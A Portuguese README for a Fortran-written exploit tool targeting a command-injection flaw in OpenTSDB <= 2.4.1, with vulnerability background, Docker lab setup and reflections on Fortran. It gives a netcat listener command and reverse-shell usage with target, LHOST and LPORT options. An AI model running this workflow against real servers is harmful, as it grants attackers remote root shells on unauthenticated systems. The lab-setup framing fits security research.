
Um exploit para OpenTSDB <= 2.4.1 de injeção de comando (CVE-2023-36812/CVE-2023-25826) escrito em Fortran
Um exploit para injeção de comandos no OpenTSDB <= 2.4.1 (CVE-2023-36812/CVE-2023-25826) escrito em Fortran
Este é um exploit para uma vulnerabilidade de injeção de comandos no OpenTSDB versões 2.4.1 e anteriores (CVE-2023-36812/CVE-2023-25826). O exploit é escrito em Fortran moderno e utiliza a biblioteca oficial http-client do Fortran, que foi criada no início deste ano.
OpenTSDB é um banco de dados de séries temporais de código aberto escrito em Java. Em 2020, uma vulnerabilidade de injeção de comandos foi descoberta nas versões 2.4.0 e anteriores, que poderia ser explorada para obter execução remota de código no host com privilégios de root. Como o OpenTSDB não suporta autenticação, essa vulnerabilidade, registrada como CVE-2020-35476, poderia ser explorada por qualquer pessoa com acesso à interface web do OpenTSDB. O problema foi corrigido na versão 2.4.1
Este ano foi descoberto que a correção para CVE-2020-35476 estava incompleta, e a injeção de comandos ainda é possível no OpenTSDB 2.4.1 através de vários vetores.
Detalhes:
A versão curta é que vi essa conversa:

A ideia de escrever um exploit em a linguagem de programação usada para levar pessoas à lua me intrigou tanto que eu tive que explorar isso por conta própria. Este exploit é o resultado desse experimento. À pergunta se foi bem-sucedido, só posso responder com estas sábias, porém amaldiçoadas palavras que unem todos os devs em sangue: Funciona na minha máquina. ¯\(ツ)/¯
De qualquer forma, minhas principais conclusões deste projeto são:
No geral, não é fácil imaginar essa linguagem realmente ganhando importância na segurança ofensiva, até porque existem tantas alternativas sólidas e modernas para qualquer caso de uso imaginável (Python, Go, Rust, Ruby, C# para citar apenas algumas). Mas se você gosta de experimentar diferentes linguagens de programação e não se importa de encapsular suas strings em chamadas trim() o tempo todo (POR FAVOR, PRESTE ATENÇÃO NISSO, ISSO VAI ECONOMIZAR MUITO SOFRIMENTO), Fortran vale absolutamente a pena conferir. Estou torcendo sem ironia por essa linguagem agora e posso revisitá-la se continuarem adicionando suporte à biblioteca http-client, especialmente se adicionarem uma biblioteca http-server em algum momento.
TL;DR: A biblioteca http-client do Fortran vai brr.
nc -nlvp 1337
opentsdb_key_cmd_injection# cd /caminho/para/opentsdb_key_cmd_injection/
fpm (certifique-se de instalá-lo primeiro. Veja as instruções de instalação na próxima seção)# /caminho/para/fpm run -- -t <url_alvo> -l <ip_local> -p <porta_local> [-v]
Opções:
-t - TARGET URL: a URL base para o OpenTSDB (obrigatório)-l - LHOST: o IP do sistema onde você está executando um listener (obrigatório)-p - LPORT: a porta do listener (obrigatório)-v - VERBOSE: ativar impressão detalhada (opcional)gfortran. Em sistemas baseados em Debian, isso pode ser feito via:apt install gfortran
chmod +x /<caminho>/para/fpm
Certifique-se de ter o git instalado no seu sistema antes de instalar o fpm.
Para uma instalação manual, você pode seguir as instruções oficiais de instalação aqui. Isso pode ser irritante, então eu recomendaria usar o Docker.
Para a versão 2.4.0, você pode usar a imagem vulnhub docker e seguir as instruções de instalação aqui. Essa imagem foi criada para CVE-2020-35476, uma vulnerabilidade mais antiga no OpenTSDB até a versão 2.4.0.
Para a versão 2.4.1 e provavelmente qualquer outra versão, você pode aproveitar a imagem vulhub para OpenTSDB 2.4.0 e editá-la para instalar a versão desejada. Eu segui essa abordagem para a 2.4.1 e funcionou muito bem.
Dockerfile e docker-entrypoint.sh do OpenTSDB 2.4.0 do vulhub aqui e armazene-os em um diretório dedicado.Dockerfile, substitua todas as ocorrências de 2.4.0 pela versão desejada, ex: 2.4.1docker-entrypoint.shdocker-compose.yml com o seguinte conteúdo:version: '2'
services:
opentsdb:
build: ./caminho-para-seu-diretório-dockerfile
ports:
- "4242:4242"
Usei esta estrutura de arquivo:
wynter@wynter-pc:~/dev/opentsdb$ ls -lR
.:
total 8
-rw-rw-r-- 1 wynter wynter 86 Sep 1 10:55 docker-compose.yml
drwxrwxr-x 2 wynter wynter 4096 Sep 1 10:54 docker_file
./docker_file:
total 8
-rw-rw-r-- 1 wynter wynter 927 Sep 1 10:54 Dockerfile
-rw-rw-r-- 1 wynter wynter 359 Sep 1 10:35 docker-entrypoint.sh
wynter@wynter-pc:~/dev/opentsdb$ cat docker-compose.yml
version: '2'
services:
opentsdb:
build: ./docker_file
ports:
- "4242:4242"
docker-compose.yml:docker-compose up -d
Fortran é mais conhecido como uma linguagem arcaica que desempenhou um papel importante na história da computação moderna, mas que não pode mais ser considerada relevante hoje. Foi lançado pela primeira vez em 1957, antecedendo tanto a ARPANET quanto o Unix em mais de uma década. Com base neste vídeo de séries temporais, foi a linguagem de programação dominante durante as décadas de 1960 e 1970, e permaneceu entre as 10 linguagens mais populares até o final dos anos 1990. Mas na época em que o Windows 98 foi lançado, claramente havia saído de moda, em favor de linguagens mais modernas como C, C++, Java e JavaScript, todas ainda amplamente utilizadas hoje.
Além das almas corajosas que mantêm sistemas legados, duvido que muitas pessoas em TI (quanto mais fora da nossa bolha) tenham encontrado Fortran nas últimas duas décadas, ou mesmo saibam que ele ainda existe. Apesar disso, Fortran permanece em desenvolvimento ativo. Como afirmado no site oficial do Fortran, a linguagem foi revisada pela última vez em 2018, e esperamos ver outra revisão este ano (2023). Na verdade, parece que a comunidade Fortran tem estado muito ativa nos últimos anos, lançando vários projetos importantes para ajudar a modernizar o ecossistema, incluindo:
Diante disso, parece que os mantenedores estão buscando um retorno do Fortran, ou pelo menos dar à linguagem uma chance de sobreviver por mais algumas décadas. Embora mesmo o fã mais fanático do Fortran provavelmente não espere ver a linguagem entrar novamente no top 10 das linguagens de programação mais populares, a modernização contínua da linguagem e de seu ecossistema provavelmente tornou o Fortran mais relevante do que tem sido nas últimas duas décadas.